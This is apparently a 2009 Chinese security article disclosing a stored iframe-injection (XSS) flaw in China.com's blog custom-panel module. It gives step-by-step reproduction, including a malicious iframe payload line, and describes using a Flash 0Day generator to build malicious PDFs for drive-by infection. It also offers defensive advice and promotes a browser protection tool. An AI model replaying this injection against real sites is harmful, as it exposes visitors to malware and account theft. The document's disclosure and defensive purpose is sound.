挂马到China.COM


 

   本期主角:中华网博客

   问题所在:IFRAME代码过滤不严

   主要危害:进行挂马攻击

   漏洞状况:已通知修复

中华网——中国最早的门户网站之一,并且是最早在纳斯达克上市的中文网站。依靠着China.COM这个包含有中国的名称,中华网吸引了许多国内外的互联网访问者,率先开启了“中国概念”时代。

目前,中华网所提供的产品及服务包括博客、电邮、网上广告、企业黄页、交友、搜索、电子商贸、新闻资讯,以及垂直的频道如军事、汽车、体育、娱乐、美容、城市资讯等内容服务。其中的军事、汽车及体育频道已经发展成为强大的垂直频道。

图1

对于这样一个直接以中国命名的门户网站,在许多人的感觉中,会惯性的认为安全性一定很高,可是事实上是否真的如许多人想象的那样呢?或许并不是我们想象的那样乐观。

9月18日,许多安装有“锐甲”浏览器保护软件的用户发现,只要访问中华网博客频道的某些文章,“锐甲”就会弹出红色的提示窗口,提示网站内容中含有网页木马,在许多人还对中华网是否真的被黑客挂马将信将疑的时候,我们决定发扬探索的精神,对中华网博客一探究竟。

图2

博客中的漏洞规则

对于网站出现挂马情况,特别是在博客频道出现挂马,十有八九是因为出现了跨站漏洞,而在进一阶段,黑客通过挖掘有影响力的大网站中的跨站漏洞,特别是博客、文章转载发布系统等寻找XSS跨站漏洞,几乎成为了一种漏洞挖掘的流行风,所以中华网博客频道被挂马,我们的第一个直觉反应就是跨站漏洞。

安全小百科:跨站漏洞目前在国内外许多网站中都大范围存在,黑客主要利用知名网站中的跨站漏洞进行挂马,依靠用户对于这些知名网站的信任达到迷惑用户,使这些网站成为黑客挂马的跳板。这就如同你一直信任某家医院,但是这家医院却因为疏于做内部检查,导致有恶意的外来假冒医生可以在医院内部开设虚假诊所,打着这家医院的旗号欺骗患者一样。

为了证实我们的判断,我们再次找到被挂马的博客,通过源代码分析很快发现,黑客很可能是通过自定义模块功能,将网页木马地址加入到中华网博客中的。于是我们决定注册一个中华网账户进行测试。通过测试我们发现,中华网在博客内容编辑页面和标题栏等都做了很好的过滤,说明中华网还是非常重视清理网页中的隐患的。

但在中华网的自定义内容中,我们很快发现了可以被黑客利用的漏洞,“首页内容维护”模块在过滤恶意HTML脚本方面存在过滤不严的问题,这就意味着黑客可以通过构造一个非常简单的恶意HTML代码,就让中华网博客显示出来自中华网之外的网站内容。而浏览器就会在用户不知情的情况下自动加载Google页面。而通过IE临时文件夹中的Cookie我们看到了加载后Google页面的相关信息,这证明我们已经找到了一个全新的中华网的跨站漏洞。

究竟是什么原因导致中华网成为黑客挂马的乐园的呢?再次打开被挂马的博客,右键点击查看源代码发现黑客使用的是HTML中的<iframe>标签来实现挂马的。iframe元素也就是文档中的文档,或者好像浮动的框架(FRAME)。

了解了黑客使用的挂马手法之后,我们很容易就分段出来,黑客其实利用了中华网博客对于HTML标签过滤不严的漏洞,选择了iframe这样一个容易被忽视的标签,作为了挂马的手段,而中华网博客虽然过滤了其他部分HTML,但是对于部分组件的HTML并没有被过滤,最终导致了跨站漏洞。

在此之前我们也介绍过许多类似的漏洞,其实国内许多博客网站都存在这样的矛盾心情,一方面不愿意全面禁止能够帮助用户产生丰富效果的HTML等网页元素,但是另一方面又疏堵住黑客能够利用的导致跨站漏洞产生的脚本元素。这非常像我们现在的杀毒软件一样,通过病毒程序中的特征码识别病毒,但是由于有很多病毒没有特征码,导致总会有病毒会在用户的电脑中横行,而杀毒软件却暂时无法查杀的现象。

漏洞实现方法

根据整个事件的分析,我们发现黑客在中华网博客这种有影响力的网站挂马时喜欢使用最新的溢出挂马工具,生成0Day溢出木马,然后在获取一些有影响力的博客,将木马悄悄的挂到博客中。那黑客是如何在中华网中挂马的呢?

步骤1:Flash 0Day是最近最为流行,也是最新的0Day溢出。黑客通常会用特制的Flash 0Day生成工具,生成一个PDF格式的溢出文件,这个PDF格式的文件中,包含有Flash元素,当用户使用浏览器点击打开浏览或者下载浏览该PDF时就会中马。

我们也找到了其中的一款Flash 0Day生成器,生成了一个可以溢出的PDF文件,只需要在生成器中输入配置好的下载者等微型下载木马的网址,然后点击生成即可。

图3

步骤2:黑客会将生成好的Flash溢出文件上传到自己的网站空间中,然后在去中华网注册一个账号,我们在重现测试过程中也注册了一个账号。

在此次测试中我们注册的中华网通行证帐号为:test_xss;申请博客域名地址为:http://testxss.blog.china.com/;昵称:安全测试。账号注册完成后,填写博客地址,标题这些简单的设置。

步骤3:接着下来我们通过申请号的通行证号码登陆到中华网,进入中华网博客页面,点击博客上方的“控制面板”选项。进入控制面板选项之后,在进入“首页内容维护”选项中。

 

图4

步骤4:进入“首页内容维护”后,在网页右侧上网找到“自定义空白面板”一栏,然后点击“点击进入编辑界面”按钮。点击该按钮之后,网页会弹出一个名为“自定义空白面板列表”的新窗口,在这个新窗口中点击“新增”按钮,进入到编辑界面。

 

图5

在编辑页面中的面板标题中我们随意填写一个名称“赞助商链接”,然后在“面板简介”中点击蓝色地球图标的“插入链接”,接着弹出的网页中“链接地址”一栏后面插入iframe恶意代码:“<iframe src=http://www.xxx.com/ width=111 height=100 border=0></iframe>”,代码填写完成之后点击“确定”按钮,最后在点击“保存”按钮。

步骤5:完成之后我们再次打开中华网博客http://testxss.blog.china.com/,为了测试安全起见我们将恶意地址更换成了百度的网址,而博客中也出现了百度的画面,证明中华网博客的首页的确存在严重过滤不严的问题,所以这段代码可以达到挂马的效果。

图6

中华网博客还存在很多跨站问题,主要还是在对HTML的标签没有做严格的过滤。如果挂马者利用该漏洞,把我们测试链接“http://www.baidu.cn/”换成网马链接,当用户浏览该博客页面,就有可能中木马病毒,所以中华网博客的这个漏洞属于高危漏洞。

防范手段:

作为中华网的博客项目部,只需要详细筛查一下,那些可以允许用户输入代码或文本的地方未作标签和引号过滤即可。目前针对跨站漏洞,黑客常用的手段是通过Flash 0Day这样的威胁性较大的新溢出漏洞使用,因此用户在打补丁的同时,想要彻底弥补漏洞,还安装《锐甲》等浏览器辅助安全软件。

软件资料

锐甲测试版0.4.2  2009/10/12

安装包大小: 2.85MB

支持操作系统: Windows XP、Windows Vista、Windows 7

支持浏览器: IE6、IE7、IE8、世界之窗、360se、傲游、AVant需手动设置

下载地址:http://www.ruijia.cn/download.html

 深度分析 

    中华网博客采用的是JSP,所以从服务器和网站本身的安全性来讲,对于一般的黑客还是具有相当的挑战性的。不过大概也正因为如此,中华网忽略了一些类似跨站脚本这样的攻击手段,让黑客可以轻松的通过中华网的众多漏洞威胁到用户的安全。

    从中华网的案例来看,许多网站程序员都已经开始注重博文编辑输入页面中的恶意脚本过滤,但是却忽略了博客模块中的代码过滤问题,这是目前导致许多博客网站漏洞频传的一个重要原因。所以对于博客和论坛的管理员来说,在使用博客插件模块和论坛插件模块的时候,务必要亲自检测一下代码的安全性,加入代码过滤之后,在进行正式使用。

    由于该漏洞目前是首发漏洞,而中华网缺乏对网络挂马博客的有效监控,因此漏洞目前尚未弥补。所以最近对于经常访问中华网博客的网友最好能够安装“锐甲”等浏览器安全防护软件,保护自己的上网安全,避免因为访问到被挂马的页面而导致邮箱账号、网上银行账号、QQ账号等被盗,甚至成为黑客的“肉机”。

 

    延伸阅读

    目前中华网仍然有多个小模块存在漏洞,建议管理员进行详细的排查,必要的时候可以使用XSS漏洞检测工具,例如XSS LFI File Disclosure Scanner、Paros 等,对全站页面结构进行扫描,极有可能发现新的安全漏洞。而我们也将会把我们掌握的漏洞信息通报给中华网,帮助这个带着中国印记的网站做的更安全。

    如今网站在建设过程中,随着网站的体积和规模的不断加大,避免不了团队之间的协作,这种协作过程中最容易让网站出现标准不一致,代码安全性降低的问题,特别是对于重用代码的审核不严格,更是造成重大隐患的根源。因此网站项目管理团队加强代码安全性审核,也只有如此,才能够避免XSS这种低级的跨站攻击漏洞。